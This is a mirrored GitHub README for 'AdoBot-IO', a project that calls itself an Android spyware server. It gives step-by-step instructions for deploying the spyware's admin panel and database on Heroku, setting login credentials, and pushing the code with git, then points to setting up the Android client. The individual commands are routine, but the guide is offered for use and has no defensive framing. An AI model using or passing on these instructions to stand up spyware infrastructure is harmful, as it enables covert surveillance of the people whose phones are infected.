Giter VIP home page Giter VIP logo

adobot-io's Introduction

AdoBot-IO

AdoBot Android Spyware Server

Server Setup

Create app on Heroku

  • Sign up to Heroku
  • Create a new app (Click the New button in the top right of the dashboard)
  • Name your app to whatever you want. Let's name it your-app for example purposes

Setup Mysql Server

  • Go to "Resources" tab
  • In the "Addons" section, type "ClearDB" and select the first suggestion
  • Click Provision when prompted

Configure the app

  • Go to the settings tab of your new heroku app
  • Click Reveal Config Vars button
  • Copy the VALUE of CLEARDB_DATABASE_URL KEY
  • Create a new KEY named DATABASE_URL and the paste into the VALUE field the value from CLEARDB_DATABASE_URL. Click ADD to save.
  • Create a new KEY named ADMIN_USERNAME and the VALUE will be your desired username used to login into the panel later. Then click ADD button
  • Create a new KEY named ADMIN_PASSWORD and the VALUE will be your desired password used to login into the panel later. Then click ADD button

Upload the source to Heroku

  • Download and install Heroku CLI as outlined here
  • If you don't have git command line tool, you might as well install it
  • After installation of Heroku CLI, open command line and type:
$ heroku login

Enter your Heroku login email and password

  • Go back to Heroku "Settings" tab
  • Find the "Info" section and copy the Heroku Git URL field. It looks like https://git.heroku.com/your-app.git
  • Download this repository (AdoBot-IO) and extract the contents of the zip file
  • Then cd into the the extracted directory. ex cd ~/Downloads/AdoBot-IO
  • Then enter the commands below (Remember to change your-app to the name of your app)
$ git init
$ git remote add heroku https://git.heroku.com/your-app.git
$ git add .
$ git commit -am "initial commit"
$ git push heroku master
$ heroku open
  • That's it, your done! Now set up the AdoBot android client if you haven't done it yet.

Development

System Requirements

  • NodeJS
  • MySql

Setup

Edit ./config/config.json to your preferences. In the development section, change the username, password and name of the database.

The admin section refers to the admin panel login credentials in development environment.

To set the admin panel username and password in production, set the environment variables ADMIN_USERNAME and ADMIN_PASSWORD.

Install dependencies:

$ npm install

Populate the database:

$ ./node_modules/.bin/sequelize db:migrate

Run local server

$ npm run dev

Browse to http://127.0.0.1:3000

License

Released under MIT License

adobot-io's People

Contributors

adonespitogo avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.